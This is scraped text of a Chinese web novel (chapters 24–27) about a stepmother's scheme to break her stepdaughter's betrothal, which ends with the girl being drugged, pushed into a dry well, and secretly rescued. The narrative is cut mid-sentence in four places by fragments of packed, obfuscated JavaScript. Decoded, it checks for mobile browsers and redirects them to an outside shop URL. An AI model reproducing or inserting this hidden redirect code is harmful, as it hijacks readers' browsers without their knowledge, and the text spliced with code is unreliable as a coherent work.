p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922740|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高家人登门拜访一事，庄夫人虽未叫顾姝露面，可倒底是瞒不住人。 陈姨娘因着安婆子跟她借钱，虽被罚了月钱，到底还是包了十两碎银子，悄悄寻了过去。 安婆子的气色瞧着倒比前几日强多了。见了陈姨娘，十分热络，又主动提起了借银子的事：“唉，我知道，你才被罚了月钱。不碍事，正巧我也从别处借到了钱。多谢你掂记着。” 不过是十两银子，陈姨娘也不在意。见安婆子已借到钱，便笑道：“客气什么，若有事，只管找我便是。” “哎，成。多谢您挂念！” 辞别安婆子，陈姨娘待要回去，恰遇上在园子里做活的樊婆子。 如今秋冬交替，草木凋落。虽说尚有各色的簇簇秋菊妆点着园子，可毕竟季节到了，园子里整日尽是些残花落叶，活计极多。 樊婆子才将一堆枯叶扫一起，见陈姨娘晃晃悠悠过来，笑道：“你怎么这个时候来园子里了？” 陈姨娘道：“上回老安跟我借钱，方才我去寻她，她又说借到了，我这便就要回去。” 樊婆子听了，便轻叹了口气。 陈姨娘看着她：“怎么，你知道老安的事？” 樊婆子见左右无人，几铲子将这堆枯枝败叶铲到竹筐里，便搁下扫帚，同陈姨娘在旁边的石凳上坐下，这才低声道：“老安也不容易。她女婿前些日子害急病死了，闺女带着两个孩子，日子难过。她就动了歪主意，想靠赌钱给闺女挣点贴补。” 陈姨娘听得直摇头：“这哪成，赌钱能是什么正道！” 樊婆子一拍大腿：“可不就是！说句不中听的，上回逮着她们几个，倒是救了老安一把。不然，我瞧着她也得陷进去。” 陈姨娘摇摇头，又道：“那老安怎么弄的钱？” 樊婆子道：“你再想不到是谁借钱给她的。” 陈姨娘奇道：“谁？” 樊婆子吐出个人名：“周管事。” 陈姨娘这回是真吃惊了：“不能吧？周老婆子可不是这般好心肠的人。” “要不怎么说怪呢”，樊婆子道，“还是周婆子知道她家这事，特意找她说话，说来说去提到钱上，竟是主动开口要借钱给老安。” 陈姨娘撇撇嘴：“等着吧，这事儿没完。周老婆子的钱，是那么好拿的？” 樊妈妈站起身，活动了下脖颈，道：“那谁晓得。不过送上门的钱，老安自然接着。过后慢慢攒了还上便是。” 说罢就赶陈姨娘走：“你赶紧回去吧。方才听老马说，高家的韩夫人过来了。” 陈姨娘心中一喜：“定是为了商量大姑娘的婚事。这事儿，早点定下来，咱们也早些安心。韩夫人上门，大姑娘定然要过去请安的。我去看看她回来了不曾！” 24. 第 24 章 陈姨娘满心欢喜回到兰葶院，却见顾姝正与顾婕对坐说话。 她不由讶然：“你怎的还在这里？方才高家的韩夫人同高少爷过来了，怎没叫你过去请安？” 顾姝亦是奇怪：“高家伯母过来了？我竟一点不知。” 想了想，又道：“许是韩伯母只是来寻母亲说话，便没特意叫我。” 陈姨娘皱眉道：“哪里有这样的道理。韩夫人是你未来婆母，便是她不提，夫人也该叫你过去见礼的。” 未来婆婆过来，于情于理，顾姝都该露面。可庄夫人竟是连知会一声都不曾。 陈姨娘不由啐了一口：“婚事都定了，庚帖也换了，还弄这些花样！” 不过转念一想，两家婚事已经定，庄夫人再想作梗，也掀不起什么风浪。 顾姝亦是这般想：“姨娘不必为这些小事生气。见与不见，原也不打紧。” 陈姨娘见她不在意，便转了话头：“我方才听你们两个说起烟云，是怎么回事？” 顾姝便将她对烟云的怀疑，以及父亲的话简单说了。 陈姨娘面色顿时慎重起来：“大姑娘，你怀疑得没错。烟云这个人，定要多加小心。” 顾世衡这个人，她这些年冷眼瞧着，倒底还有几分舐犊之情，不曾苛待大姑娘。他在家时，庄夫人多少有些顾忌。如今顾世衡出征在外，却要提防庄夫人生事了。 今日韩夫人登门，庄夫人竟都不叫顾姝过去，明摆着是在使绊子。烟云又是她陪房的女儿，多防着些总没错。 她叮嘱顾姝：“你父亲这段时间不在，你更要小心烟云。但凡有一丝异常，都需格外警惕。” 见顾姝郑重应了，陈姨娘这才稍觉安心，叹道：“只盼你跟高家的婚事，顺顺利利……” 顾婕在一旁听着，不由笑道：“姨娘，高家跟大姐姐的婚事，都定下好几年了。便是夫人想做梗，韩夫人难道就会任她摆布不成？” 这话确有道理。韩夫人当年与周夫人是手帕交。这桩亲事亦是她亲口提出的。顾姝出身品貌皆是上选，韩夫人又怎会平白放弃这大好姻缘。 陈姨娘心下稍宽。 却不想，她们这回竟是都料错了。 过不几日，韩夫人又只身上门拜访，此番未带高晏同来。庄夫人依旧没有叫顾姝过去。 只这回顾嫤却也不在跟前。韩夫人见顾嫤不在，便笑问：“怎么不见三姑娘？” 庄夫人笑道：“姑娘们上午要学绣活呢。上回是正巧休息，那孩子无事，才赖在我这里。这会子，都在跟绣娘们学着做活计呢。” 又笑道：“我想着都是自家人，不必讲那许多虚礼，便不曾叫她们过来。待她们做完活计，再唤来给你请安。” 韩夫人含笑赞道：“庄妹妹说得是，都是自家人，原不需这般客气。府上的姑娘个个钟灵毓秀，我看着个个都喜欢。尤其是三姑娘，哎哟，这模样品性，真跟仙女儿一般，也就府上这般门第，能养出这样的人物。” 庄夫人连连摆手：“快别夸她了。这么大孩子了，还一团孩子气，什么都不懂呢。唉，也就是性子好些，跟她姐妹兄弟都处得好。便是侯爷，也是最疼这个女儿。” 韩夫人会心一笑：“这样好的姑娘，也不知道将来谁家有福气得了去。” 她又带了几分歉意道：“妹子莫怪，府上姑娘都是好的，只是我总觉得，跟三姑娘竟是格外投缘呢！” 庄夫人微微一笑，并未接话。 韩夫人看着庄夫人，身子微微前倾，压低了声音：“我说句掏心窝子的话，妹子莫怪---咱们两家的婚事虽说定得早，可前些年，我们家那境况你也知道，并不敢对外张扬，就怕万一有变，坏了府上姑娘的清誉。如今回京不久，也不曾对外人提及。并非我们不敬重府上，实在是想着，虽说定了亲，可毕竟六礼未走，不敢妄言。况且，我心底里，也着实是喜欢三姑娘。唉，你看，这阴差阳错的……” 庄夫人含笑看着她，嘴上只含糊道：“婚事，还是得看孩子们自个儿的意思。” 韩夫人叹道：“要不我会说这话呢。我那孩子，跟我提过……罢了，儿女都是前世的债，叫妹子见笑了。” 庄夫人依旧笑而不语。 韩夫人却是心中大定。 回到家中，便跟高宴道：“放心罢，那庄氏，是一心要把自己女儿嫁给你呢！” 高晏挑眉：“她明说了？” 韩夫人得意笑道：“正因没有说，才显出她的意思呢。我一直说中意顾家三姑娘，她一字未驳。若是不愿意，早该拿你跟顾姝定亲的事来堵我的嘴了。她既不提，便是心里是愿意得很。” 高宴心中欢喜，却又迟疑道：“只是，与顾姝的婚事，又该如何？” 韩夫人轻笑一声：“呵呵，你且等着，自有人比我们还急。” 她只说喜欢三姑娘，又没有说想换亲。既然庄氏想将她看中的嫡长女换掉，那便得想好，该如何补偿她这个亲家。 高晏放下心来，又想起一事：“母亲，我屋里的丫头没了两个，你再替我添两个罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926104|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 韩夫人瞪他一眼：“我整日忙得脚不沾地，你竟还给我添乱！” 高晏笑道：“不过是两个下人，不值当什么。母亲多费心，就再给我补两个进来罢！” 韩夫人恼道：“这里是京城，可不是川西那等穷山僻壤之地。你那性子，也该收收了！” 高晏连连应声：“是是，儿子记住了。下回再不敢了。这回便有劳母亲费心，孩儿都念着母亲的好呢！” 韩夫人叹口气。儿女都是债，她也只能替儿子操持周全了。 上回挑的人，韩夫人也觉着不错，送来的丫头下人都颇知道规矩，便是那人伢子，衣饰整洁，进退有度。韩夫人很是满意，更觉得京城之地，到底与那边夷之地不同。 这回儿子屋里又要添人，韩夫人索性又寻了那个伢人过来。 那伢人姓何，叫何康。祖孙三代都是做这行当的，惯常跟高门大户打交道。听韩夫人说要再添两个小丫头，只是点头哈腰应承，问清楚了韩夫人的要求，便道过两日便送人过来。 只是私下里，他也少不得要打听一下，先前卖过去的丫头小厮如何了，好心中有数。 便是听到之前卖过去的十个小丫头，已没有了两个，他也不曾皱下眉。做他们这行的，心肠早就硬了。心肠软的，也做不了这营生。 只是这事，他还是与家中人通了气。 何家一大家子都是做人伢子起家的。背后自有主家。只是每代也会找几个子弟放出去，做些别的营生，算是为族中留条后路。 何康的堂弟何顺，便是从家中出来的，做的也是中人，不过主要是做些房子买卖租赁，兼做些家俱物件折卖等等。毕竟人家买了房子，也免不了要添置家什物件，也算顺带。再者，何家人本就往来于高门大户之间，于这些消息最是灵通，何顺做这一行，也算是沾了家中便利。 何康与何顺关系好，不免也把高家之事告诉了他，将来若与跟家打交道，也可心里有个数。 何顺听得啧啧称奇。便是家里做这行，肮脏龌龊事见得多了，可卖过去的小丫头，几天功夫便没了两个，也实在骇人。 晚上就寝时，他还跟自家媳妇感叹：“唉，那些个大户人家，可真是不将人命看在眼里。” 说着便将大哥告知的事情跟媳妇刘鲤说了。 刘鲤却愣住了：“高家？哪个高家” 何顺道：“嗐，这个高家可不得了。新进京的，一进京就封了个伯爷。要不胆子这么大呢！” 刘鲤整个人僵住了。 25. 第 25 章 高家人既笃定了庄夫人的心思，索性放宽了心，只等着顾家主动开口换亲。庄夫人却日渐焦灼起来。 先前一心只想着将顾姝的好姻缘换给自家女儿，待到真要动手，才知其中艰难。 她一个继母，要毁掉原配嫡女的亲事不难；难的是她自家亦是有儿有女，只怕稍有不慎，便连累到亲生子女的名声。 可是若要什么都不做，眼瞧着顾姝嫁到高家，庄夫人却又绝不甘心——莫说高晏家世人品皆属上乘，连韩夫人态度也明摆着更属意顾嫤。 便是高晏人品寻常，庄夫人也不能容顾姝嫁入高家。 这丫头尚未出阁，便想着要讨要生母的嫁妆了；若真成了伯夫人，怕不得立时就翻起旧账！ 正烦闷时，庄夫人的娘家二嫂登门拜访。闲话了几句，庄二嫂便有些为难地道出了来意：“你二侄子，前几日说了门亲事。原是喜事，只是他要成亲，少不得要给他捯饬个房子出来，好好整修。家里又要下聘，又要准备彩礼，家中一时却是有些不大趁手，这才厚着脸皮求妹妹帮衬……” 庄家两房人，上下十几口子人，全靠着庄夫人那位五品官的父亲一人支撑，日子向来过得紧巴。也就庄夫人嫁到侯府之后，时常接济着娘家，这日子才慢慢宽裕些。 庄夫人早知侄子议亲之事，事先已有准备，不以为意道：“二侄子成亲，我拿二百两银子，算我这个姑妈的一些心意。” 庄家二嫂喜得没口子道谢：“还是姑奶奶知道心疼家里。唉，我常对家里孩子们说，以后可得把姑母放在心上，要孝敬她老人家。平日里妹子替那几个孩子操碎了心，若他几个不知孝顺，那可真是没良心透了！” 庄夫人笑吟吟听着，又叫金铃拿出一匣子雪莲一匣子银耳：“这是旁人送的，都是北边来的好药材，成色极好。你带回去给爹娘炖汤喝，最是滋补不过。” 庄二嫂喜滋滋地接过，又夸了她一通孝顺，才起身告辞：“我也得回去了。为着三小子定亲的事，整天忙得没头没尾的。也就是在妹子这里，还能松快一会儿。” 又抱怨：“过几天就要走礼。瞧这几日的天色都阴沉沉的，怕不是又要下雪。这一下就是好几天，若是走礼那几天还在下雪，路都不好走！” 庄夫人便安慰道：“刮风下雨娶新妇。定亲时下雨下雪的，原也是好兆头！” 笑着将庄二嫂送出了院门。 只是将人送走，她脸色便沉了下来。独坐半晌，终是叫了高妈妈过来，两人又细细商议了一阵，高妈妈倒是出了个主意。 只庄夫人不免迟疑：“这，这也太凶险了，万一闹出来人命，却是不好收场。” 她只是不喜顾姝嫁入高门，免得将来她得了势，追讨生母嫁妆。但若真要为这个害顾姝的性命，却是万万不敢。 便是侯爷再不喜欢这个女儿，可那也是他的亲生骨肉。庄夫人担不起谋害继女的后果。高妈妈这个主意，实在太过冒险。 只高妈妈却是另一番心思。 庄夫人这些年，没少动用先头周夫人的嫁妆，经手人便是高妈妈。她自是也从中沾了不少好处。嫁妆的事情若是败露，庄夫人是侯夫人，不过损些颜面，可她不过是个下人，却绝不会好下场。说不得还要被拉出来顶缸。 若说第一个忌惮顾姝嫁入高门的是庄夫人，那高妈妈定然就要排在第二位。 见庄夫人有怯意，高妈妈忙道：“那处不过阴湿些，却是没风没雪的。呆上一晚上，至多染场重病。如此，一则她便需养病，再无心力去管嫁妆之事。再则，高家也就有了退婚的由头。过两年，再将人远远地嫁出去，便就再没有心头之患了。” 这番话说得在情在理，庄夫人稍觉安心，只是事关重大，依旧难免犹豫：“容我再想想。” 只是几天之后，朝中有消息传来，皇帝病重，册封四皇子为秦王，代天子监国。虽未明封储君，可是地位超然诸皇子，储君之势已成。且秦王府中也传来喜讯，道是一高姓侧妃又产下一子，乃秦王的第三子。只是因着圣体欠安，并未大肆庆贺。 高妈妈闻讯愈发急切：“高家声势日盛。若是侯爷回来，定然不会愿意毁婚。若不趁这个时候动手，只怕便是没有机会了！” 庄夫人终于咬牙下了决断：“去叫烟云过来！“ 烟云如今一听高妈妈的传唤，便觉心惊肉跳。 虽然她是夫人安排进瑞萱堂的，平日里也常跟夫人回些大姑娘的事情，可夫人是长辈，过问大姑娘的衣食起居，本就是应当应份之事，说破天她也不怕什么。 只是先前那桩要命的差使，真是把烟云吓死了。 第一回还好，大姑娘应是毫无察觉，后面待她也一如往常。只是第二回之后，不知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930962|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己心虚，还是确有其事，她总觉得如今姑娘看自已的眼神透着冷意，凡事也更爱使唤烟霞了…… 再听了高妈妈吩咐的差使，烟云只觉得满心苦涩：“妈妈，我，我从来不曾做过这种事……这可是要命的勾当！” 高妈妈瞪她一眼：“你怕什么，天塌下来还有夫人在上面顶着呢。她一个小丫头，还能翻出夫人的手掌心不成！” 烟云依旧拼命摇头：“妈妈，不成。这……这事我是真的没有胆子做，还求妈妈放了我罢！” 见烟云这丫头百般推诿，高妈妈脸一沉，道：“烟云，你也不是第一回做这事情。你可知道，大姑娘早去侯爷面前告过你的状了，若不是夫人保你，只怕你早就被打死了。告诉你，大姑娘已知道你做的那些事！” 烟云如遭雷击：“我先前做的那事，大姑娘竟已知道了？” 她惊惶失措道：“那，那大姑娘怎么什么都没做？” 高妈妈冷笑道：“哪里是什么都没做，我方才已经说了，大姑娘一心要侯爷打杀了你。是夫人在侯爷跟前替你说话，方替你拦了下来。如今待你和气，不过是哄着你，等着将来再收拾你罢了！” 烟云喃喃道：“怎么会这样？我瞧着姑娘，待我还跟从前一样呢……” 高妈妈轻蔑一笑：“现在知道了罢，还当大姑娘是多良善的人呢！这府里头，有哪个是好相与的？若她真罚了你，先前的事，也就算了结了。可她一个做主子的，对你个奴婢这般隐忍，你以为是什么好事不成？” 烟云张口结舌，整个人都抖若筛糠，一时间，竟是话都说不出来了。 高妈妈又添了一把火：“夫人能替你拦一次，可若你连夫人交待的差使都推三阻四的，再有下回，夫人又凭什么护着你？” 烟云扑到在地，仰头含泪道：“妈妈救我！” 高妈妈这才满意道：“大姑娘已是记恨上你了。索性一不做二不休，这回事做下来，大姑娘也没功夫整治你了。这也是为了你自己好……“ 烟云拿衣袖抹了把眼泪：“妈妈，你这话当真？” 高妈妈安慰她：“你只要按我的吩咐去做便是，大姑娘不死也得去掉半条命，自顾且不暇呢，又哪里有功夫追究你？到时候夫人再把你调出去，许配个好人家，你只管舒舒心心过自己的日子。她一个不出二门的姑娘，又能拿你怎么办？” 26. 第 26 章 高妈妈连哄带吓这一番话，终是让烟云点了头。 这一日午后，外头滴水成冰，灰云沉沉压着屋檐，北风刮得一阵紧似一阵。 瑞萱堂内，顾姝见只有烟云一人在跟前伺候，心下生疑：“怎的不见烟霞的人影？” 烟云垂首道：“正要禀告姑娘呢，烟霞早上不知道吃了什么不干净的，跑了几趟茅房，实在吃不消了，方才叫烟雯过来告假，道是今天怕是不能当值了。” 顾姝点点头，未再多言。 过了一会，顾姝便叫了烟雯：“陪我去园子里走一走罢！” 每日这时，她都会去外头走一走透透气。 烟雯方应下，烟云却忙阻道：“姑娘，外头风大，今日还是莫要出去了吧？” 顾姝不在意道：“不妨事。若是冷，我就早些回来。” 烟云双道：“既如此，我拿件兜帽，陪姑娘一起出去。” 顾姝看着烟云，微微一笑：“还是你想得周到。” 出了院子，便是一阵北风吹来，众人齐齐打了个寒噤。 顾姝抬头看天，喃喃道：“阴了这么些日了。这会子起风，怕是要下雪了。” 烟云只垂首道：“姑娘说得是。” 因着天冷，顾姝略在外头走了走就回房了。 晚上给庄夫人请安，倒与往常无异，还是只有烟云一人随着伺候。 只是在回去的时候，烟云提着灯笼走在前面，顾姝却发现路不对：“怎的走了这条路？” 烟云脚步一顿，低声解释：“这会子风大，怕将灯笼吹熄了。这条路两边花木多，好歹可以挡下风。” 顾姝点点头，不再说话。 两人沿着花园另一侧的小径往瑞萱堂走去。 窄道两侧花木森森。腊月的北风，穿过枝桠，像细针一般，直往人骨头缝里刺。顾姝不由紧了紧身上的披风。 烟云也加快了脚步，灯笼在风里晃得忽明忽暗。她走得快，顾姝便有些跟不上她了。正待张口叫她慢些，身后猛地窜出一人，伸手钳住她的肩膀，随后便是一张湿乎乎的帕子捂在了她的口鼻之上，一股子怪异的药味便被她吸入鼻腔之中。 顾姝大骇，当即便奋力挣扎起来。熟料前头的烟云竟也转身回来，帮着先前那人制住她手脚。两人一人捂嘴，一人抬脚，将顾姝拖到了园子西北角边。 那处却是有口老井，年代颇久，春夏雨水多的时候，便能出些水；秋冬之季，水便枯了。先前府里清过两次於，也不顶用，府里也不再管它。索性还是有几个月能出水，也方便后罩房的下人们用水，便留了下来。不想今夜竟成了害人之所。 顾姝拼命踢蹬，奈何她一个人抵不过两人之力，况且又中了迷药，使不得力气。身后那人一把扯落她的披风，又就势将她拖到井边，猛地一推--- “砰”！ 顾姝重重摔在井底，浑身的骨头似都要摔碎。只剧痛刺激之下，原本被因吸入迷药而昏沉的脑袋，竟是清醒了几分。 顾姝艰难地挪动右手，将指甲狠狠掐进胳膊，继续用疼痛刺激自已昏沉的脑子。 井口传来烟云的声音：“妈妈，这，这样就可以了？”那声音抖得不行，还带着些哭腔。 一个声音厉声喝斥：“闭嘴！” 是高妈妈。 顾姝没有发出一丝声音，只是将自已的指甲掐得更加用力。 四下一片寂静。这样的冬夜，鸟虫都深深蛰伏在窝中，不闻一丝鸣叫。只有冬夜的寒风穿过枯枝，发出呜咽般的啸叫。 似是经过漫长的等待，又似是转瞬之间，黑漆漆的上方传来两道如释重负的出气声。 不知是迷药影响了心智，还是这原本便在顾姝意料之中，知道高妈妈下的毒手，顾姝的心情竟是格外平静，没有一丝愤怒。听到二人长长的出气声，她甚至有心思胡思乱想：做出这样的事，她们竟然也会觉着害怕么？ 又是一阵拍打衣服的窸窣响动，接着高妈妈刻意压低了的声音：“走罢。” 烟云道：“若，若被人发现了怎么办？”黑夜之中，她声音中的每一丝颤音都听得格外清楚。 高妈妈的声音很是平静冷漠：“黑灯瞎火的，她又晕了，谁会知道？明儿一早不就能找到了，你怕什么？” “我，我，……”烟云的声音依旧在颤抖，“万一，出了人命……” 这回，高妈妈的声音带了一丝安慰的味道：“明儿个一早，你报了夫人，咱们便过来寻她。不过就一晚上，又躲在井里，风吹不着的，顶多是害场病罢了。她生着病，哪里还顾得上你！” 烟云带着哭音道：“等姑娘好了，不一样要处置我？” 高妈妈的声音不耐烦起来：“你还在这里跟我讲起理来了？她一病了，夫人便将你从瑞萱堂调走，再给你放了籍，寻个好亲事嫁出去。等她好了，你在外头好好地过日子呢，她又上哪里找你去？万事有夫人呢，你怕什么？别啰嗦了，赶紧走罢！” 顾姝终于微微松了口气。还好，不是要她的命。她们，终究还没有胆大到那个地步。 顾姝胡乱想着，又觉得脑子开始有有些昏沉了，赶紧又用指甲戳自已的胳膊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936305|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即便是窸窸窣窣的脚步声，由近再远。直到再听不到二人的脚步声，顾姝才长长出了一口气。 方才，她怕被人听出异样，连大口呼吸都不敢。 她又掐了一把胳膊。此时，万万不能昏过去，她要等人来。 若她猜想得不错…… “大姑娘！”井口传来压抑又惊惶的呼唤。 顾姝心头石块落了地：“烟雯，我在。” 烟雯的声音便带了几分如释重负的喜意：“大姑娘，您现在可还好？” “这会子还行。你快去寻烟霞过来。小心些，莫要让别人看到。” 待烟雯应声而去，顾姝那紧绷的神经才松缓下来。她勉强爬起身，靠坐在井壁上，忽然感觉脸上一股凉意。 她伸手一摸，竟是下雪了。 顾姝又掐了自己一把，静静等待人来。 早上烟霞上了几次茅房，便私下里跟顾姝说了。顾姝不知道是巧合还是人为。但她已是提防烟云，无论如何，绝不会让烟云独自服侍自己。 兴许确实是烟霞不小心吃坏了肚子，但是小心总无错。顾姝便悄悄里寻了院子里的烟雯，叮嘱烟雯这两日需小心留心烟云。无论她去哪里，跟谁在一起，都务必盯紧了。 烟雯的爹娘都是顾家的粗使仆役。她爹前几年害病，没钱治，还是陈姨娘知道了，悄悄借了他家十五两银子，花了十两，买了根参吃了，其余五两是买了其他药跟补品养身子。如此，总算是将他爹从鬼门关捞了回来，这笔钱，至今也只还了五两，还差着十两没有还。陈姨娘也不曾催过他们还账。 两口子为人淳朴，很记陈姨娘的情，故而烟雯分到顾姝院子里做洒扫粗活之后，很是悄悄帮着烟霞和陈姨娘传了不少话。顾姝见她能干，便提做了个三等丫头。顾姝院子里也就烟霞烟雯这两个可靠的人，烟霞被人支开了，这活计就交给了烟雯。再者，烟雯平日沉默寡言的，也无人留意她。 顾姝也是知道烟雯在私下里跟着自已，这才敢叫烟云服侍。方才不敢叫自己晕过去，就是在等烟雯。 果然，这个丫头，是靠得住的。 只是，自已再小心，也没有想到，庄夫人一干人，竟然敢如此大胆，竟是要直接下手暗算她。难道她们当真觉得，父亲不在家，继母便可以为所欲为了？就不怕父亲回来，自已跟父亲告状？ 顾姝脑子乱纷纷地，既是愤怒庄夫人的狠毒，又不解她的胆大妄为。 这么乱胡思乱想着，约摸一柱香的功夫，她又听到杂乱急促的脚步声，随即井口传来一声轻唤：“大姑娘……” 27. 第 27 章 是陈姨娘的声音，顾姝彻底放下心来，费力答道：“姨娘，我在。” 一条绳子垂了下来。陈姨娘伏在井口小声叮嘱她：“大姑娘，你把绳子系腰上。” 顾姝依言将绳子系在了腰上，才道：“好了。” 随即她的身子便被拉了起来。顾姝双手握着绳子，感觉到自己的身子一点点拉高，直到被拉出井口，她双手撑着井口，在几人的拉扯下，爬了上来。 冰冷的空气吸入肺中，顾姝打了个哆嗦，终于觉得自己逃出生天。 陈姨娘忙解下自已的披风，替顾姝披到身上。 此时不是客气的时候，顾姝没有拒绝，将披风裹紧。 旁边一人亦是出声提醒：“姑娘，天寒地冻的，莫要在这里久待。” 是樊妈妈。 顾姝点点头：“妈妈说得是。” 只是，待抬脚要走，顾姝又一阵迷茫。 这会儿，她要去哪里？ 不知是方才吸入迷药的作用，还是遭逢此变、受到惊吓，顾姝只觉得脑子一片混乱，根本无法平静下来思考。 可也不能一直呆在这园子里。 陈姨娘便建议道：“不若先去兰葶院坐一会儿，商量下该怎么办。老樊那里人多眼杂。咱们先去我那里。” 樊婆子是住在花园子里的下人房里，那里人多，的确不是什么好去处。虽然陈姨娘那里也不十分案例，只这会子顾姝脑子极乱，一时之间并没有什么头绪，便听从陈姨娘的安排，先去了兰葶院。 几人便分散开来。樊妈妈与烟雯各回自己住处。烟霞在前头探路，省得碰上人。 陈姨娘则搀着顾姝在后面走，边走边解释：“方才我是说找人打牌，没叫小丫头跟来。想来她也自己歇息了。咱们就在耳房里坐一坐，也惊动不了旁人，再一起想想要怎么办。” 顾姝点点头。这会儿雪下得正紧，不过片刻，地上便积了薄薄的积雪。 顾姝不由回头看去，只见二人走过的地面，已留下了浅浅一层脚印。 陈姨娘见顾姝去看脚印，便道：“不妨事，雪下得大，过一会儿脚印便盖住了。” 顾姝方回头疾步前行。 兰葶院因只有陈姨娘和白姨娘两个妾室带着姑娘住，没有主子，正房便空了下来。正房东侧是一个耳房加出入的穿堂。耳房白天充作丫环婆子们临时歇息之处，晚上却是没有人在的。 待到了兰葶院，陈姨娘方轻手轻脚开了门，进了穿堂，正待将顾姝扶进一旁的耳房中，三个人却是怔住：白姨娘约是才从院子西侧角的恭房里出来，如今正呆呆看着她们这一行三人。 顾姝很淡定，道：“姨娘，咱们先进去罢。” 事已至此，三人索性不再理会白姨娘，扶着顾姝进了耳房。 待坐在椅子上，顾姝才觉察出浑身冰冷，一双手已是冻木了。只是这会儿却顾不得这个，反而吩咐烟霞：“去给我弄点雪擦擦脸。高婆子方才往我脸上蒙了下药的帕子，我如今脑子昏得很。” 她需要脑子赶紧清醒起来，不能这么浑浑噩噩的。 烟霞忙去找雪，陈姨娘则是恨恨骂了声：“老虔婆！” 又伸手去摸她的胳膊：“姑娘，可曾摔坏了哪里？”从那么深的井坠落，陈姨娘生怕顾姝受伤。方才见顾姝，走路无碍，想来腿是无事，就不知其他地方可还好。 顾姝摇摇头：“无事。没有大伤。”不过脊背和脑袋都还隐隐做痛，只这话却不必说出来叫陈姨娘担心了。 外头雪下得越发大了。烟霞已从抄手游廊的栏杆上刮了一帕子雪，捧给顾姝。顾姝抓起雪便敷在了脸上。寒意直冲大脑，顾姝只觉得脑子立时清明许多。 脸被冰雪刺激过，房间里毕竟比外头暖和许多，顾姝终于觉得好受了些，可以静下心思索接下来的对策。 脑子清醒下来，她终于可以理一理今晚发生的事情。思忖片刻，顾姝先转向烟霞：“今日我从井里出来，单凭自已是绝不可能。必然是有人相助。夫人也一定会去查，是谁将我救出来的。这个责任，怕是得由你来担了。” 莫说姨娘平日里便是一再告诫自己，不许透露二人的关系。便是可以，这个时候，将陈姨娘扯进来，也不是什么好事。而烟霞，本就是自己的贴身丫环，她发现主子有异常，想法搭救也是理所当然。 “至于姨娘，晚上是想着出去打牌。只是去园子里转了一圈，没有找到人，便回兰葶院了。” 烟霞当即道：“是。我省得。” 顾姝看着她，轻声道：“委屈你了。” 庄夫人敢害她这个大姑娘，那自然也敢对烟霞动手。叫烟霞担个这名声，实则已是将她置于危险之中。 烟霞却很坚决：“奴婢的命，都是大姑娘和姨娘救的。这都是我该当该做的。” 顾姝心中感动，轻轻点了点头。不再就此事多说，又吩咐烟霞：“你先回一趟瑞萱堂找烟云，看她在做什么。然后再去后罩房，找人去借绳子。记得，要悄悄地去后罩房，既不能大张旗鼓，又得让人知道，今晚你去借过绳子了。” 陈姨娘与烟霞皆是不解其意。 顾姝这会儿渐渐缓过来，脑子愈发清明，便解释道：“事已至此，咱们只能将事情挑明，叫府中人知道，庄夫人要害我。只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940470|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又不能过于刻意，叫人觉得，我是在将事情闹大，跟庄夫人斗法。总归，遮遮掩掩，露点风声，只叫旁人知道夫人要害我，我命大逃了出来，其他的，便叫他们自己猜去。” 她看着烟霞，又补充了一句：“知道你救了我的人越多，你也就越安全。至于烟云，她今晚定然不敢叫你留下。” 这道理陈姨娘跟烟霞登时便都懂了。烟霞应了一声，马上悄悄出门去了。 顾姝这才道：“姨娘，劳烦你去请白姨娘过来罢。” 陈姨娘这才想到，方才她们三人进来，已是被白姨娘看得一清二楚。 她叹了口气，到了西厢房，轻声唤人：“白姐姐……” 她只唤了一声，门便开了。白姨娘冷冷扫了她一眼。 陈姨娘笑道：“姐姐，咱们去那屋说说话儿呗？” 